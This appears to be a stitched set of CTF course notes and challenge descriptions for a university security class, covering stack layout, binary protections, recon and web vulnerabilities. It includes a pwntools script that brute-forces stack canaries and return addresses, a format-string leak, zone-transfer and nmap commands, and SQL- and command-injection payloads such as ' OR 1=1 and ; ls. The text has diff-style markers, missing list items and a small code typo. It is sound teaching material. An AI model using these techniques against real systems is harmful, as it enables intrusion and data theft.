+"However, you may only use characters no smaller than 32, no larger than 126 in ASCII order. May the bless be with you!"
+The end of journey is arriving.
+You are filled with determination.
+nc ali.infury.org 10003
Become the God and find the flag. Flag format: flag{***}
According to the @CTF101: https://ctf101.org/
+Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.
+Common topics addressed by Binary Exploitation or 'pwn' challenges include:
+In computer architecture, the stack is a hardware manifestation of the stack data structure (a Last In, First Out queue).
+In x86, the stack is simply an area in RAM that was chosen to be the stack - there is no special hardware to store stack contents. The esp
/rsp
register holds the address in memory where the bottom of the stack resides. When something is push
ed to the stack, esp
decrements by 4 (or 8 on 64-bit x86), and the value that was push
ed is stored at that location in memory. Likewise, when a pop
instruction is executed, the value at esp
is retrieved (i.e. esp
is dereferenced), and esp
is then incremented by 4 (or 8).
N.B. The stack "grows" down to lower memory addresses!
+Conventionally, ebp
/rbp
contains the address of the top of the current stack frame, and so sometimes local variables are referenced as an offset relative to ebp
rather than an offset to esp
. A stack frame is essentially just the space used on the stack by a given function.
The stack is primarily used for a few things:
+Let's see what the stack looks like right after say_hi
has been called in this 32-bit x86 C program:
#include <stdio.h>
+
+void say_hi(const char * name) {
+ printf("Hello %s!\n", name);
+}
+
+int main(int argc, char ** argv) {
+ char * name;
+ if (argc != 2) {
+ return 1;
+ }
+ name = argv[1];
+ say_hi(name);
+ return 0;
+}
+
+And the relevant assembly:
+0804840b <say_hi>:
+ 804840b: 55 push ebp
+ 804840c: 89 e5 mov ebp,esp
+ 804840e: 83 ec 08 sub esp,0x8
+ 8048411: 83 ec 08 sub esp,0x8
+ 8048414: ff 75 08 push DWORD PTR [ebp+0x8]
+ 8048417: 68 f0 84 04 08 push 0x80484f0
+ 804841c: e8 bf fe ff ff call 80482e0 <printf@plt>
+ 8048421: 83 c4 10 add esp,0x10
+ 8048424: 90 nop
+ 8048425: c9 leave
+ 8048426: c3 ret
+
+08048427 <main>:
+ 8048427: 8d 4c 24 04 lea ecx,[esp+0x4]
+ 804842b: 83 e4 f0 and esp,0xfffffff0
+ 804842e: ff 71 fc push DWORD PTR [ecx-0x4]
+ 8048431: 55 push ebp
+ 8048432: 89 e5 mov ebp,esp
+ 8048434: 51 push ecx
+ 8048435: 83 ec 14 sub esp,0x14
+ 8048438: 89 c8 mov eax,ecx
+ 804843a: 83 38 02 cmp DWORD PTR [eax],0x2
+ 804843d: 74 07 je 8048446 <main+0x1f>
+ 804843f: b8 01 00 00 00 mov eax,0x1
+ 8048444: eb 1c jmp 8048462 <main+0x3b>
+ 8048446: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
+ 8048449: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
+ 804844c: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
+ 804844f: 83 ec 0c sub esp,0xc
+ 8048452: ff 75 f4 push DWORD PTR [ebp-0xc]
+ 8048455: e8 b1 ff ff ff call 804840b <say_hi>
+ 804845a: 83 c4 10 add esp,0x10
+ 804845d: b8 00 00 00 00 mov eax,0x0
+ 8048462: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
+ 8048465: c9 leave
+ 8048466: 8d 61 fc lea esp,[ecx-0x4]
+ 8048469: c3 ret
+
+Skipping over the bulk of main
, you'll see that at 0x8048452
main
's name
local is pushed to the stack because it's the first argument to say_hi
. Then, a call
instruction is executed. call
instructions first push the current instruction pointer to the stack, then jump to their destination. So when the processor begins executing say_hi
at 0x0804840b
, the stack looks like this:
EIP = 0x0804840b (push ebp)
+ESP = 0xffff0000
+EBP = 0xffff002c
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ESP -> 0xffff0000: 0x0804845a // Return address for say_hi
+
+The first thing say_hi
does is save the current ebp
so that when it returns, ebp
is back where main
expects it to be. The stack now looks like this:
EIP = 0x0804840c (mov ebp, esp)
+ESP = 0xfffefffc
+EBP = 0xffff002c
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+ESP -> 0xfffefffc: 0xffff002c // Saved EBP
+
+Again, note how esp
gets smaller when values are pushed to the stack.
Next, the current esp
is saved into ebp
, marking the top of the new stack frame.
EIP = 0x0804840e (sub esp, 0x8)
+ESP = 0xfffefffc
+EBP = 0xfffefffc
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+ESP, EBP -> 0xfffefffc: 0xffff002c // Saved EBP
+
+Then, the stack is "grown" to accommodate local variables inside say_hi
.
EIP = 0x08048414 (push [ebp + 0x8])
+ESP = 0xfffeffec
+EBP = 0xfffefffc
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+EBP -> 0xfffefffc: 0xffff002c // Saved EBP
+ 0xfffefff8: UNDEFINED
+ 0xfffefff4: UNDEFINED
+ 0xfffefff0: UNDEFINED
+ESP -> 0xfffefffc: UNDEFINED
+
+NOTE: stack space is not implictly cleared!
+Now, the 2 arguments to printf
are pushed in reverse order.
EIP = 0x0804841c (call printf@plt)
+ESP = 0xfffeffe4
+EBP = 0xfffefffc
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+EBP -> 0xfffefffc: 0xffff002c // Saved EBP
+ 0xfffefff8: UNDEFINED
+ 0xfffefff4: UNDEFINED
+ 0xfffefff0: UNDEFINED
+ 0xfffeffec: UNDEFINED
+ 0xfffeffe8: 0xffffa0a0 // printf argument 2
+ESP -> 0xfffeffe4: 0x080484f0 // printf argument 1
+
+Finally, printf
is called, which pushes the address of the next instruction to execute.
EIP = 0x080482e0
+ESP = 0xfffeffe4
+EBP = 0xfffefffc
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ 0xffff0000: 0x0804845a // Return address for say_hi
+EBP -> 0xfffefffc: 0xffff002c // Saved EBP
+ 0xfffefff8: UNDEFINED
+ 0xfffefff4: UNDEFINED
+ 0xfffefff0: UNDEFINED
+ 0xfffeffec: UNDEFINED
+ 0xfffeffe8: 0xffffa0a0 // printf argument 2
+ 0xfffeffe4: 0x080484f0 // printf argument 1
+ESP -> 0xfffeffe0: 0x08048421 // Return address for printf
+
+Once printf
has returned, the leave
instruction moves ebp
into esp
, and pops the saved EBP.
EIP = 0x08048426 (ret)
+ESP = 0xfffefffc
+EBP = 0xffff002c
+
+ 0xffff0004: 0xffffa0a0 // say_hi argument 1
+ESP -> 0xffff0000: 0x0804845a // Return address for say_hi
+
+And finally, ret
pops the saved instruction pointer into eip
which causes the program to return to main with the same esp
, ebp
, and stack contents as when say_hi
was initially called.
EIP = 0x0804845a (add esp, 0x10)
+ESP = 0xffff0000
+EBP = 0xffff002c
+
+ESP -> 0xffff0004: 0xffffa0a0 // say_hi argument 1
+
+To be able to call functions, there needs to be an agreed-upon way to pass arguments. If a program is entirely self-contained in a binary, the compiler would be free to decide the calling convention. However in reality, shared libraries are used so that common code (e.g. libc) can be stored once and dynamically linked in to programs that need it, reducing program size.
+In Linux binaries, there are really only two commonly used calling conventions: cdecl for 32-bit binaries, and SysV for 64-bit
+In 32-bit binaries on Linux, function arguments are passed in on the stack in reverse order. A function like this:
+int add(int a, int b, int c) {
+ return a + b + c;
+}
+
+would be invoked by pushing c
, then b
, then a
.
For 64-bit binaries, function arguments are first passed in certain registers:
+then any leftover arguments are pushed onto the stack in reverse order, as in cdecl.
+Any method of passing arguments could be used as long as the compiler is aware of what the convention is. As a result, there have been many calling conventions in the past that aren't used frequently anymore. See Wikipedia for a comprehensive list.
+Binary Security is using tools and methods in order to secure programs from being manipulated and exploited. This tools are not infallible, but when used together and implemented properly, they can raise the difficulty of exploitation greatly.
+The No eXecute or the NX bit (also known as Data Execution Prevention or DEP) marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they've stored on the stack or in a global variable.
+You can either use pwntools' checksec
or rabin2
.
$ checksec vuln
+[*] 'vuln'
+ Arch: i386-32-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX disabled
+ PIE: No PIE (0x8048000)
+ RWX: Has RWX segments
+
+$ rabin2 -I vuln
+[...]
+nx false
+[...]
+
+Address Space Layout Randomization (or ASLR) is the randomization of the place in memory where the program, shared libraries, the stack, and the heap are. This makes can make it harder for an attacker to exploit a service, as knowledge about where the stack, heap, or libc can't be re-used between program launches. This is a partially effective way of preventing an attacker from jumping to, for example, libc without a leak.
+Typically, only the stack, heap, and shared libraries are ASLR enabled. It is still somewhat rare for the main program to have ASLR enabled, though it is being seen more frequently and is slowly becoming the default.
+Stack Canaries are a secret value placed on the stack which changes every time the program is started. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immeadiately.
+ +Stack Canaries seem like a clear cut way to mitigate any stack smashing as it is fairly impossible to just guess a random 64-bit value. However, leaking the address and bruteforcing the canary are two methods which would allow us to get through the canary check.
+If we can read the data in the stack canary, we can send it back to the program later because the canary stays the same throughout execution. However Linux makes this slightly tricky by making the first byte of the stack canary a NULL, meaning that string functions will stop when they hit it. A method around this would be to partially overwrite and then put the NULL back or find a way to leak bytes at an arbitrary stack offset.
+A few situations where you might be able to leak a canary:
+The canary is determined when the program starts up for the first time which means that if the program forks, it keeps the same stack cookie in the child process. This means that if the input that can overwrite the canary is sent to the child, we can use whether it crashes as an oracle and brute-force 1 byte at a time!
+This method can be used on fork-and-accept servers where connections are spun off to child processes, but only under certain conditions such as when the input accepted by the program does not append a NULL byte (read or recv).
+Buffer (N Bytes) | +?? ?? ?? ?? ?? ?? ?? ?? | +RBP | +RIP | +
---|---|---|---|
+ | + | + | + |
Fill the buffer N Bytes + 0x00 results in no crash
+Buffer (N Bytes) | +00 ?? ?? ?? ?? ?? ?? ?? | +RBP | +RIP | +
---|---|---|---|
+ | + | + | + |
Fill the buffer N Bytes + 0x00 + 0x00 results in a crash
+N Bytes + 0x00 + 0x01 results in a crash
+N Bytes + 0x00 + 0x02 results in a crash
+...
+N Bytes + 0x00 + 0x51 results in no crash
+Buffer (N Bytes) | +00 51 ?? ?? ?? ?? ?? ?? | +RBP | +RIP | +
---|---|---|---|
+ | + | + | + |
Repeat this bruteforcing process for 6 more bytes...
+Buffer (N Bytes) | +00 51 FE 0A 31 D2 7B 3C | +RBP | +RIP | +
---|---|---|---|
+ | + | + | + |
Now that we have the stack cookie, we can overwrite the RIP register and take control of the program!
+Relocation Read-Only (or RELRO) is a security measure which makes some binary sections read-only.
+There are two RELRO "modes": partial and full.
+Partial RELRO is the default setting in GCC, and nearly all binaries you will see have at least partial RELRO.
+From an attackers point-of-view, partial RELRO makes almost no difference, other than it forces the GOT to come before the BSS in memory, eliminating the risk of a buffer overflows on a global variable overwriting GOT entries.
+Full RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run.
+Full RELRO is not a default compiler setting as it can greatly increase program startup time since all symbols must be resolved before the program is started. In large programs with thousands of symbols that need to be linked, this could cause a noticable delay in startup time.
+If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.
+ +The best way to bypass a simple canary is if the binary is a program forking child processes every time you establish a new connection with it (network service), because every time you connect to it the same canary will be used.
+Then, the best way to bypass the canary is just to brute-force it char by char, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function brute-forces an 8 Bytes canary (x64) and distinguish between a correct guessed byte and a bad byte just checking if a response is sent back by the server (another way in other situation could be using a try/except):
+from pwn import *
+
+def connect():
+ r = remote("localhost", 8788)
+
+def get_bf(base):
+ canary = ""
+ guess = 0x0
+ base += canary
+
+ while len(canary) < 8:
+ while guess != 0xff:
+ r = connect()
+
+ r.recvuntil("Username: ")
+ r.send(base + chr(guess))
+
+ if "SOME OUTPUT" in r.clean():
+ print "Guessed correct byte:", format(guess, '02x')
+ canary += chr(guess)
+ base += chr(guess)
+ guess = 0x0
+ r.close()
+ break
+ else:
+ guess += 1
+ r.close()
+
+ print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
+ return base
+
+canary_offset = 1176
+base = "A" * canary_offset
+print("Brute-Forcing canary")
+base_canary = get_bf(base) #Get yunk data + canary
+CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
+
+In order to bypass the PIE you need to leak some address. And if the binary is not leaking any addresses the best to do it is to brute-force the RBP and RIP saved in the stack in the vulnerable function. For example, if a binary is protected using both a canary and PIE, you can start brute-forcing the canary, then the next 8 Bytes (x64) will be the saved RBP and the next 8 Bytes will be the saved RIP.
+To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The same function as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
+print("Brute-Forcing RBP")
+base_canary_rbp = get_bf(base_canary)
+RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
+print("Brute-Forcing RIP")
+base_canary_rbp_rip = get_bf(base_canary_rbp)
+RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
+
+The last thing you need to defeat the PIE is to calculate useful addresses from the leaked addresses: the RBP and the RIP.
+From the RBP you can calculate where are you writing your shell in the stack. This can be very useful to know where are you going to write the string "/bin/sh\x00" inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a breakpoint after leaking the RBP an check where is your shellcode located, then, you can calculate the distance between the shellcode and the RBP:
+INI_SHELLCODE = RBP - 1152
+
+From the RIP you can calculate the base address of the PIE binary which is what you are going to need to create a valid ROP chain. To calculate the base address just do objdump -d vunbinary
and check the disassemble latest addresses:
In that example you can see that only 1 Byte and a half is needed to locate all the code, then, the base address in this situation will be the leaked RIP but finishing on "000". For example if you leaked 0x562002970ecf the base address is 0x562002970**000
+elf.address = RIP - (RIP & 0xfff)
+
+A format string vulnerability is a bug where user input is passed as the format argument to printf
, scanf
, or another function in that family.
The format argument has many different specifies which could allow an attacker to leak data if they control the format argument to printf
. Since printf
and similar are variadic functions, they will continue popping data off of the stack according to the format.
For example, if we can make the format argument "%x.%x.%x.%x", printf
will pop off four stack values and print them in hexadecimal, potentially leaking sensitive information.
printf
can also index to an arbitrary "argument" with the following syntax: "%n$x" (where n
is the decimal index of the argument you want).
While these bugs are powerful, they're very rare nowadays, as all modern compilers warn when printf
is called with a non-constant string.
#include <stdio.h>
+#include <unistd.h>
+
+int main() {
+ int secret_num = 0x8badf00d;
+
+ char name[64] = {0};
+ read(0, name, 64);
+ printf("Hello ");
+ printf(name);
+ printf("! You'll never get my secret!\n");
+ return 0;
+}
+
+Due to how GCC decided to lay out the stack, secret_num
is actually at a lower address on the stack than name
, so we only have to go to the 7th "argument" in printf
to leak the secret:
$ ./fmt_string
+%7$llx
+Hello 8badf00d3ea43eef
+! You'll never get my secret!
+
+CS315 course is open, and this year we added some CTF challenges to the lab tutorial. After 3 weeks of teaching, our professor wants some feedback from students.
+"Design a service, please. Gather some feedback and report from students of CS315."
+"Sure." Answered in no time, but I got super nervous because of me, as a computer science graduate, don't know how to programming.
+ +By the way, I already got some report said that why this course so easy
, please tell something hard
. Fine, I'll just write my program that reads from user input, but stores nothing.
No store, no vulnerability.
+Yeah, I'm going to save my job!
+my_super_secret_report_service
+my_super_secret_report_service.c
+nc ali.infury.org 10004
It's super hard to convince my Boss that report system is just broken temporarily. Now I'm going to learn programming and security very hard to save my job.
+---- 2 DAYS LATER ----
+Totally didn't learn.
+"Some students want to enroll this course, please make something to collect enroll."
+"But, but this course is full already..."
+"CS315 is hard, someone gonna to quit. So, in case anyone want to enroll, we need to handle this." The Boss looked at me, "can't you programming?"
+"Yep! Yeah, seriously I can programming very well!"
+I need to prepare my CV now.
+ + +nc ali.infury.org 10005
Please use netcat to connect and solve challenges! And don't ask why there isn't a flag.txt in source code...
+Yet another programming order from cafes.
+So called maid cafes, their Boss wants me to design a service to collect costumers' requirements.
+The Boss promised me if I can finish such a program, I can come to the cafes free forever. So stuck in the flavor of coffee (not the maid I promise) that I swear gonna to get this work done.
+Very strange I don't understand the details of this program (like how big, how far, which requirements are they?), and why some CS315 students are pentesting my program.
+Luckily I learned about some security parameters already, so I simply turned them on.
+ + + +This is a ROP challenge and you may find it's difficult. But success solvers will win a badge.
+ + + + + + + + +According to @d00mfist: https://d00mfist.gitbooks.io/ctf/content/
+So once you have decided on a target you want to start your recon-process.
+The recon-phase is usually divided up into two phases.
+This is when you start scanning the target with your different tools.
+It is passive in the meaning that it doesn't directly send packets to the service. But in any other sense of the word there is nothing passive about this phase.
+Okay, I guess this actually sends packets to the target, but whatever. Visit the page, look around, read about the target. What do they do?
+Find out who is behind the website.
+Resolve the DNS
+host website.com
+nslookup website.com
+
+The the IP address and check it with whois
whois 192.168.1.101
+
+Most of the info found on netcraft is not unique. It is basic whois info. But one thing is really good, it lists the different IP-addresses the page has had over the years. This can be a good way to bypass cloudflare and other services that hide the real IP. Using netcraft we can find the IP that was in use before they implemented cloudflare.
+Another detail that is good to know is the hosting-company or domain-provider. Those details can be used if we want to try some social-engineering or spear-phishing attack.
+ +Finding subdomains is fundamental. The more subdomains you find, the bigger attack surface you have. Which means bigger possibility of success.
+For now this seems to be a very comprehensive list of tools to find subdomains. https://blog.bugcrowd.com/discovering-subdomains
+This is the best article I have found about how the DNS-system works. Form the highest to the lowest level.
+An introduction to dns-terminology components and concepts
+Before we begin to look at the specific techniques that exists to find subdomains, lets try to understand what subdomains are and how they work.
+A - records
+A stands for address.
+The A record maps a name to one or more IP addresses, when the IP are known and stable. So that would be 123.244.223.222 => example.com
+AAAA - points to a IPv6 Record
+CNAME
+The CNAME record connects a name to another name. An example of that would be:
+www.example.com,CNAME,www.example.com.cdn.cloudflare.net.
+
+Another example is. If you have the domains mail.example.com and webmail.example.com. You can have webmail.example.com point to mail.example.com. So anyone visiting webmail.example.com will see the same thing as mail.example.com. It will NOT redirect you. Just show you the same content.
+Another typical usage of CNAME is to link www.example.com to example.com
+CNAME is quite convenient. Because if you change the A-record. The IP-address, you don't need to change the other subdomains, like ftp.example.com or www.example.com. Since they both point to example.com, which is a A-record and points directly to the IP.
+Another note. If foo.example.com points to bar.example.com, that mean that bar.example.com is the CNAME (Canonical/real/actual Name) of foo.example.com.
+Alias
+Kind of like CNAME in that it points to another name, not an IP.
+MX - Mail exchange
+https://en.wikipedia.org/wiki/MX_record
+Finding subdomains is fundamental. The more subdomains you find, the bigger attack surface you have. Which means bigger possibility of success.
+For now this seems to be a very comprehensive list of tools to find subdomains. https://blog.bugcrowd.com/discovering-subdomains
+Some tools find some stuff, other tools other stuff. So your best bet is to use a few of them together. Don't forget to brute-force recursively!
+In order to find subdomains we can use the recon-ng framework. It has the same basic structure as metasploit. You can learn more about this tool in the tools-section.
+recon-ng
+
+use use recon/domains-hosts/
+
+# This will give you a vast amount of alternatives.
+
+show options
+
+set source cnn.com
+
+All these subdomains will be saved in hosts
, which you can access though: show hosts
If some of these subdomains are not given IPs automatically you can just run
+use recon/hosts-hosts/resolve
+run
+
+And it will resolve all the hosts in the hosts-file.
+Using google we can also find subdomains.
+This will only give us the subdomains of a site.
+site:msn.com -site:www.msn.com
+site:*.nextcloud.com
+
+To exclude a specific subdomain you can do this:
+site:*.nextcloud.com -site:help.nextcloud.com
+
+The basic command is like this
+./subbrute.py -p cnn.com
+
+https://github.com/TheRook/subbrute
+I haven't tested this yet. https://github.com/guelfoweb/knock
+You also have to look at what kind of system the target has. Some web-apps give their clients their own subdomains. Like github.
+Check out the homepage Often companies brag about their clients. You can use this to guess the subdomains of some clients.
+If you manage to figure out the IP range that the target owns (see section about nmap below). You can see which machines are online. And then you can run a script to find out the domain-addresses of those machines. That way you might find something new.
+The text-file onlyIps.txt is a textfile with one IP-address on each line.
+#!/bin/bash
+
+while read p; do
+ echo $p;
+ host $p
+done <onlyIps.txt
+
+Here are some more tools that can do reverse lookup http://www.cyberciti.biz/faq/how-to-test-or-check-reverse-dns/
+https://dnsdumpster.com/
+https://pentest-tools.com/information-gathering/find-subdomains-of-domain
+http://www.intodns.com/
+This tool doesn't enumerate subdomains per se. But it hands of a lot of information about domains. http://www.dnsstuff.com/
+https://www.ericzhang.me/resolve-cloudflare-ip-leakage/
+This tool can be used to find old IPs. It could mean that the http://toolbar.netcraft.com/site_report?url=lyst.com
+If you try to brute force the domains it is a good idea to have a good dictionary. That can be found here:
+Bitquark https://github.com/bitquark/dnspop
+SecList https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS
+Sometimes DNS servers are misconfigured. The DNS server contains a Zone file which it uses to replicate the map of a domain. They should be configured so that only the replicating DNS-server can access it, but sometimes it is misconfigured so anyone can request the zone file, and thereby recieve the whole list of subdomains. This can be done the following way:
+To do this we first need to figure out which DNS-servers a domain has.
+host -t ns wikipedia.com
+host -l wikipedia.com ns1.wikipedia.com
+
+This can also be done with tools such as dnsrecon and dnsenum.
+https://security.stackexchange.com/questions/10452/dns-zone-transfer-attack
+Search engines can be very useful for finding information about the target. Search engines can be used for two things:
+Remember that the world is bigger than google. So test out the other search engines.
+Baidu, binsearch.info, Bing, DuckDuckGo, ixquick/Startpage, Shodan,PunkSpider
+Google is a good tool to learn more about a website.
+filetype:pdf
+
+site:example.com myword
+
+inurl:test.com
+
+You can use the asterisk to as a wildcard:
+*
+
+Example:
+"I've been * for a heart"
+
+This will return answers where * is anything.
+-
+
+the dash excludes a specific word
+This query searches for pages that used the word bananasplit.
+-banana bananasplit
+
+So if a website has been taken down you can still find the cached version, of the last time google visited the site
+cache:website.com
+
+https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf
+Find login-pages on sites that use the ending .bo. For bolivia.
+site:bo inurl:admin.php
+
+Once the passive phase is over it is time to move to the active phase. In this phase we start interacting with the target.
+This tool is used to scan a network for live machines.
+netdiscover -r 192.168.1.1/24
+
+Nikto is a good tool to scan webservers. It is very intrusive.
+nikto -host 192.168.1.101
+
+# Stealthy
+nmap -sS 10.11.1.X
+
+# Scan all ports, might take a while.
+nmap 10.11.1.X -p-
+
+# Scan for UDP
+nmap 10.11.1.X -sU
+unicornscan -mU -v -I 10.11.1.X
+
+# Scan for version, with NSE-scripts and trying to identify OS
+nmap 10.11.1.X -sV -sC -O
+
+# All out monsterscan
+nmap -vvv -Pn -A -iL listOfIP.txt
+
+# Fast scan
+nmap 10.11.1.X -F
+
+# Only scan the 100 most common ports
+nmap 10.11.1.X --top-ports 100
+
+Now that you have gathered some IP addresses from your subdomain scanning it is time to scan those addresses. You just copy-paste those addresses and add them to a file, line by line. Then you can scan all of them with nmap at the same time. Using the -iL
flag.
Okay, so a bit of the basics of Nmap and how it works. When one machine initiate a connection with another machine using the transmission-control protocol (tcp) it performs what is know as a three-way handshake. That means:
+machine1 sends a syn packet to machine2
+machine2 send a syn-ack packet to machine1
+machine1 sends a ack packet to machine2.
+
+If machine2 responds with a syn-ack we know that that port is open. This is basically what nmap does when it scans for a port. If machine1 omits the last ack packet the connection is not made. This can be a way to make less noise.
+This is the default mode for nmap. If you do not add any flags and scan a machine this is the type of connection it creates.
+By adding the -sS
flag we are telling nmap to not finalize the three way handshake. It will send a syn
, receive syn-ack
(if the port is open), and then terminate the connection. This used to be considered stealthy before, since it was often not logged. However it should not be considered stealthy anymore.
In the flag I imagine that the first s
stands for scan/scantype and the second S
stands for syn
.
So -sS
can be read as scantype syn
UDP is after TCP the most common protocol. DNS (53), SNMP (161/162) and DHCP (67/68) are some common ones. Scanning for it is slow and unreliable.
+-sU
+
+Not all output works with grepable format. For example NSE does not work with grepable. So you might want to use xml instead.
+# To text-file
+-oN nameOfFile
+
+# To grepable format
+-oG nameOfFile
+
+# To xml
+-oX nameOfFile
+
+You might find that a site has several machines on the same ip-range. You can then use nmap to scan the whole range.
+The -sn
flag stops nmap from running port-scans. So it speeds up the process.
nmap -vvv -sn 201.210.67.0/24
+
+You can also specify a specific range, like this
+nmap -sP 201.210.67.0-100
+`
+
+So let's say you find that 40 machine exists in that range. We can use grep to output those IP:s.
+First let's find the IPs that were online. Ip-range is the output from previous command. You can of course combine them all.
+cat ip-range.txt | grep -B 1 "Host is up"
+
+Now let's sort out the ips from that file.
+grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' ip-range.txt > only-ip.txt
+
+Now you can input all those ips to nmap and scan them.
+Nmap has a command to make the output grepable.
+nmap -vvv -p 80 201.210.67.0-100 -oG - | grep 80/open
+
+This chapter could also be placed in Vulnerability-analysis and Exploitation. Because nmap scripting is a really versatile tool that can do many things. Here we will focus on it's ability to retrieve information that can be useful in the process to find vulnerabilities
+First locate the nmap scripts. Nmap scripts end in .nse
. For Nmap script engine.
locate *.nse
+
+The syntax for running a script is:
+nmap --script scriptname 192.168.1.101
+
+To find the "man"-pages, the info about a script we write:
+nmap -script-help http-vuln-cve2013-0156.nse
+
+Run multiple scripts
+Can be run by separating the script with a comma
+nmap --script scriptone.nse,sciprt2.nse,script3.nse 192.168.1.101
+
+Run the default scripts
+nmap -sC example.com
+
+We can do port-scanning with metasploit and nmap. And we can even integrate nmap into metasploit. This might be a good way to keep your process neat and organized.
+You can run db_nmap
and all the output will be stored in the metasploit database and available with
hosts
+services
+
+You can also import nmap scans. But you must first output it in xml-format with the following flag
+nmap 192.168.1.107 -oX result.xml
+
+Good practice would be to output the scan-results in xml, grepable and normal format. You do that with
+nmap 192.168.1.107 -oA result
+
+Then you can load it into the database with the following command.
+db_import /path/to/file.xml
+
+If you for some reason don't have access to nmap you can run metasploits modules that does portscans
+use auxiliary/scanner/portscan/
+
+If at some point you find a web page that presents you sensitive information based on your session: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it. Here I present you the main ways to can try to achieve it:
+This week we won't have CTF grades. But you still can have a try.
+Each year, those dragon-li cats would have a war with orange cats. From dining hall to library, from Lychee Hill to TB2. All day to night they fought together to claim manor.
+However, this year things are different. Since the COVID-19 becomes serious and dangerous, which can also infect cats. Kitten war would be hold online.
+Now, dragon-li cats just borrowed ours domain name to establish their website. Once the website is finished, they would hire too many cats that orange cats can't fight.
+One day, when you step into TB2, an orange cat stopped you and begged, "humble human, please help us! We are losing the war."
+ +"Find out what are those dragon-li cats hiding. If you can retrieve the flag behind the domain, I would allow you to pat my belly - for 2 seconds!"
+Kittens are so lovely, you can't resist and start to discover DNS records...
+compass.college
Hint1: cats like TXT because TXT looks so cute!
+Hint2: cats only know a few words listed in the file below.
+ +Two dragon-li cats are staring at you for a while, since the last cyber attack. After you step into the classroom in TB1, a dragon-li cat jumped on the desk and starts talking to you.
+ +"Orange cats are greedy. Team with us dragon-li cats." That cat licks its claw, said, "TB1 is ours manor, if you team with us, you can always pat cats in TB1."
+"Now, here's your mission. Orange cats are using a website built by a CTFer from COMPASS. That guy is a noob and the website must be full of vulnerabilities. Check the sensitive files on the website and find us some flag."
+"If we make orange cats have the website. They would be allowed to purchase dangerous weapons from online market. Then we won't defeat them in video games!"
+Without a hesitate, you start to hack the website:
+Very cheap and nice weapons for orange cats :P)
+The war has lasted for 2 months.
+The dragon-li cats are settling in TB1 and dining hall, while the orange cats are claimed Lychee Hill and TB2.
+A black cat was so struggle with these fights. The cat, said, "we, we are cats. We slept 20 hours a day. Why do we bother fighting instead of sleeping?"
+ +"Now you have a choice to stop the war," the black cat said, "everyone are looking at obvious things, but nobody cares about blind night."
+"Log in COMPASS admin panel and use the final flag to stop the meaningless war."
+ + + + + + + + + + +According to the @CTF101: https://ctf101.org/
+Websites all around the world are programmed using various programming languages. While there are specific vulnerabilities in each programming language that the developer should be aware of, there are issues fundamental to the internet that can show up regardless of the chosen language or framework.
+These vulnerabilities often show up in CTFs as web security challenges where the user needs to exploit a bug to gain some kind of higher level privilege.
+Common vulnerabilities to see in CTF challenges:
+SQL Injection is a vulnerability where an application takes input from a user and doesn't validate that the user's input doesn't contain additional SQL.
+<?php
+ $username = $_GET['username']; // kchung
+ $result = mysql_query("SELECT * FROM users WHERE username='$username'");
+?>
+
+If we look at the $username variable, under normal operation we might expect the username parameter to be a real username (e.g. kchung).
+But a malicious user might submit different kind of data. For example, consider if the input was '
?
The application would crash because the resulting SQL query is incorrect.
+SELECT * FROM users WHERE username='''
+
+Notice the extra single quote at the end.
+With the knowledge that a single quote will cause an error in the application we can expand a little more on SQL Injection.
+What if our input was ' OR 1=1
?
SELECT * FROM users WHERE username='' OR 1=1
+
+1 is indeed equal to 1. This equates to true in SQL. If we reinterpret this the SQL statement is really saying
+SELECT * FROM users WHERE username='' OR true
+
+This will return every row in the table because each row that exists must be true.
+We can also inject comments and termination characters like --
or /*
or ;
. This allows you to terminate SQL queries after your injected statements. For example '--
is a common SQL injection payload.
SELECT * FROM users WHERE username=''-- '
+
+This payload sets the username parameter to an empty string to break out of the query and then adds a comment (--
) that effectively hides the second single quote.
Using this technique of adding SQL statements to an existing query we can force databases to return data that it was not meant to return.
+Command Injection is a vulnerability that allows an attacker to submit system commands to a computer running a website. This happens when the application fails to encode user input that goes into a system shell. It is very common to see this vulnerability when a developer uses the system()
command or its equivalent in the programming language of the application.
import os
+
+domain = user_input() # ctf101.org
+
+os.system('ping ' + domain)
+
+The above code when used normally will ping the ctf101.org
domain.
But consider what would happen if the user_input()
function returned different data?
import os
+
+domain = user_input() # ; ls
+
+os.system('ping ' + domain)
+
+Because of the additional semicolon, the os.system()
function is instructed to run two commands.
It looks to the program as:
+ping ; ls
+
+The semicolon terminates a command in bash and allows you to put another command after it.
+Because the ping
